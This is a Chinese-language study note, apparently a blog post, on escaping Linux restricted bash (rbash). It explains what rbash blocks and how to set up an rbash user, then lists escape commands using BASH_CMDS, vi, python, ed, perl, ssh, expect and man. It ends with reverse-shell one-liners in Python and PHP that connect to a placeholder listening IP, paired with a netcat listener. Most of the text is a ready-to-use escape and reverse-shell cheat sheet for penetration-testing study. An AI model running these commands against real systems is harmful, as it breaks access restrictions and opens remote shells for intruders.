以下为个人学习笔记和习题整理

# 什么是 rbash?

受限 shell 是 LinuxShell 限制一些 bash shell 中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限 shell 中运行。 它为 Linux 中的 bash shell 提供了一个额外的安全层。

但以下情况是不允许 rbash 执行的:

  • 使用命令 cd 更改目录
  • 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  • 指定包含参数 '/' 的文件名
  • 指定包含参数 ' - ' 的文件名
  • 使用重定向输出 '>', '>>', '> |', '<>' '>&','&>'
  • 大致的限制如上

那么我们如果在实际环境中,如果想要对环境进行进一步的操作,那么 rbash 肯定是不符合要求的,所以才有了 “绕过” 这一行为
而因为 rbash 的特殊性问题,绕过的方法,大多都是通过 Linux 机器上现有的软件,来执行一个没有限制的 shell 回来使用

创建限制 shell 的用户
在 RHEL 和 Centos 的系统中,rbash 不能直接实现,所以在开始之前,我们需要通过 ln-s 来建立一个软连接

cd  /bin
ln -s bash rbash

然后创建用户的时候,在设置用户是以 /bin/rbash 来启动的 shell

useradd -s /bin/rbash hack

# rbash 绕过方法

# BASH_CMDS [a]=/bin/sh;a #把 /bin/bash 给 a 变量

/bin/bash                  
echo $0   #查看脚本本身的名字
echo $?    #命令执行结果反馈,0代表执行成功,其余数字表示不成功
export PATH=$PATH:/bin/    #将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin   #将/usr/bin作为PATH环境变量导出

执行完上面加粗的四步之后就可以执行所有命令了

# vi 命令可以使用,可以使用 vi 获取到一个 bash

vim  test
Press ESC key
:set shell=/bin/sh
:shell
export PATH=/usr/sbin:/usr/bin:/sbin:/bin  添加全局环境变量

PATH 就是定义 /bin:/sbin:/usr/bin 等这些路径的变量,其中冒号为目录间的分割符。

# 使用 python 突破 shell 限制

python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"

# ED - 编辑器

ed
! '/bin/sh'

# Perl

perl -e 'system("/bin/sh");'

# 通过 SSH 绕过 rbash

如果您知道属于 rbash shell 的用户的 ssh 凭据,则可以在 ssh 上使用以下命令来破解监狱,并通过访问适当的 bash shell 绕过 rbash。
ssh ignite@192.168.1.103 -t "bash --noprofile"

# 使用 Expect 绕过 rbash

Expect 是一个 Unix 程序,可以根据脚本与其他交互式程序 “对话”。在脚本之后,Expect 知道程序可以期望什么,正确的响应应该是什么。

expect
spwan sh
sh

# man 绕过 rbash

man man
!'sh'

# 通过反向 Shell 绕过 rbash

您也可以选择反向 shellcode 绕过 rbash,这里我们使用 python 反向 shellcode(penetestmokey),这会将 “sh:Bourne shell” 扔到正在监听的 netcat 上的监听机器(在本例中为 Kali Linux)我们的 Kali Linux。
nc -lvp 1234
运行侦听器后,我们将运行以下命令。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Avenue-le 微信支付

微信支付

Avenue-le 支付宝

支付宝

Avenue-le beauty

beauty